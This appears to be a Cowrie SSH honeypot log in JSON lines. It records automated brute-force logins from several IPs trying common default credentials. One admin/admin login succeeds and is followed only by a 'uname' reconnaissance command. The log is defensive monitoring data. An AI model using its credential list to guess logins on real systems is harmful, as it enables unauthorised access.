{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:59.022110Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:59.538579Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:59.542100Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:59.787159Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:32:59.792002Z","src_ip":"43.163.119.215","session":"fdefa64aefc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38260,"dst_ip":"10.17.0.5","dst_port":22,"session":"03a12d1e8de6","protocol":"ssh","message":"New connection: 43.163.119.215:38260 (10.17.0.5:22) [session: 03a12d1e8de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:03.566325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:03.570672Z","src_ip":"43.163.119.215","session":"03a12d1e8de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:03.807550Z","src_ip":"43.163.119.215","session":"03a12d1e8de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:04.521110Z","src_ip":"43.163.119.215","session":"03a12d1e8de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:05.762653Z","src_ip":"43.163.119.215","session":"03a12d1e8de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":34030,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c35649dae24","protocol":"ssh","message":"New connection: 124.121.31.17:34030 (10.17.0.5:22) [session: 3c35649dae24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:07.639347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:07.647367Z","src_ip":"124.121.31.17","session":"3c35649dae24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:07.914033Z","src_ip":"124.121.31.17","session":"3c35649dae24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpwd","message":"login attempt [root/rootpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:09.011478Z","src_ip":"124.121.31.17","session":"3c35649dae24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:10.284500Z","src_ip":"124.121.31.17","session":"3c35649dae24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59956,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15a38302bac","protocol":"ssh","message":"New connection: 43.163.119.215:59956 (10.17.0.5:22) [session: e15a38302bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:14.637231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:14.641948Z","src_ip":"43.163.119.215","session":"e15a38302bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:14.879815Z","src_ip":"43.163.119.215","session":"e15a38302bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":50272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4762002d763","protocol":"ssh","message":"New connection: 67.102.183.113:50272 (10.17.0.5:22) [session: b4762002d763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:15.010275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:15.016427Z","src_ip":"67.102.183.113","session":"b4762002d763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:15.088450Z","src_ip":"67.102.183.113","session":"b4762002d763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ccm-1!@","message":"login attempt [root/ccm-1!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:15.401706Z","src_ip":"67.102.183.113","session":"b4762002d763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:15.595510Z","src_ip":"43.163.119.215","session":"e15a38302bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:16.474638Z","src_ip":"67.102.183.113","session":"b4762002d763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:16.834343Z","src_ip":"43.163.119.215","session":"e15a38302bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":59528,"dst_ip":"10.17.0.5","dst_port":22,"session":"921e939e2949","protocol":"ssh","message":"New connection: 163.7.9.84:59528 (10.17.0.5:22) [session: 921e939e2949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:23.688765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:23.694044Z","src_ip":"163.7.9.84","session":"921e939e2949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:23.938315Z","src_ip":"163.7.9.84","session":"921e939e2949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranger","message":"login attempt [root/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:24.941991Z","src_ip":"163.7.9.84","session":"921e939e2949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59944,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c4df8cd9440","protocol":"ssh","message":"New connection: 43.163.119.215:59944 (10.17.0.5:22) [session: 4c4df8cd9440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:25.448503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:25.452925Z","src_ip":"43.163.119.215","session":"4c4df8cd9440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60104,"dst_ip":"10.17.0.5","dst_port":22,"session":"44960998c638","protocol":"ssh","message":"New connection: 43.163.119.215:60104 (10.17.0.5:22) [session: 44960998c638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:25.645670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:25.650255Z","src_ip":"43.163.119.215","session":"44960998c638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:25.697044Z","src_ip":"43.163.119.215","session":"4c4df8cd9440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:25.888291Z","src_ip":"43.163.119.215","session":"44960998c638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:26.186929Z","src_ip":"163.7.9.84","session":"921e939e2949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:26.415492Z","src_ip":"43.163.119.215","session":"4c4df8cd9440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:26.600866Z","src_ip":"43.163.119.215","session":"44960998c638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:27.657097Z","src_ip":"43.163.119.215","session":"4c4df8cd9440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:27.840006Z","src_ip":"43.163.119.215","session":"44960998c638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":56472,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d6b39beaa8","protocol":"ssh","message":"New connection: 43.163.119.215:56472 (10.17.0.5:22) [session: 06d6b39beaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:32.181656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:32.188899Z","src_ip":"43.163.119.215","session":"06d6b39beaa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:32.434347Z","src_ip":"43.163.119.215","session":"06d6b39beaa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:33.171745Z","src_ip":"43.163.119.215","session":"06d6b39beaa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:34.420743Z","src_ip":"43.163.119.215","session":"06d6b39beaa8","protocol":"ssh"}
